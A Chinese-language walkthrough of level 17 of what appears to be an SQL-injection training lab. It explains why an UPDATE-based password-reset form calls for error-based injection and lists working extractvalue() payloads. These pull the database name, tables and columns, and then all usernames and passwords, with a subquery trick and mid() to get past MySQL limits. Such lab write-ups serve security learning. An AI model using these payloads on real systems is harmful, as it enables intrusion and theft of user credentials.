第十七关
这一关跟前面的关卡都不一样,是全新的关卡,页面是一个密码重置页面,需要输入用户名,然后输入新的密码,就会把我们的旧密码替换掉。所以就会用到数据库的update更新数据,不再是前面的查询数据,所以之前的联合注入和布尔盲注以及时间盲注都不能用了。这里我们要用到之前使用过的报错注入
这里要先输入正确的用户名,验证成功后才会把新密码替换,所以我们输入
admin
1' and extractvalue(1,concat(0x7e,(select database())))#
爆表名
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#
爆列名
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))#
爆内容
1' and extractvalue(1,concat(0x7e,(select group_concat(username) from users)))#
发现报错了
那是因为在mysql中一个语句中不能先select表中的某些值,再update这个表。
但是我们可以用(select username from users)a替换users来进行绕过
1' and extractvalue(1,concat(0x7e,(select group_concat(username) from (select username from users)a)))#
但是回显并没有完全,因为报错回显只能回显32位
所以我们使用mid()函数来截取,因为是从32位开始不能看到,所以我们从第32位开始截取,截取后32位
1' and extractvalue(1,concat(0x7e,mid((select group_concat(username) from (select username from users)a),32,32)))#
1' and extractvalue(1,concat(0x7e,(select group_concat(password) from (select password from users)a)))#
然后是后面32位
1' and extractvalue(1,concat(0x7e,mid((select group_concat(password) from (select password from users)a),32,32)))#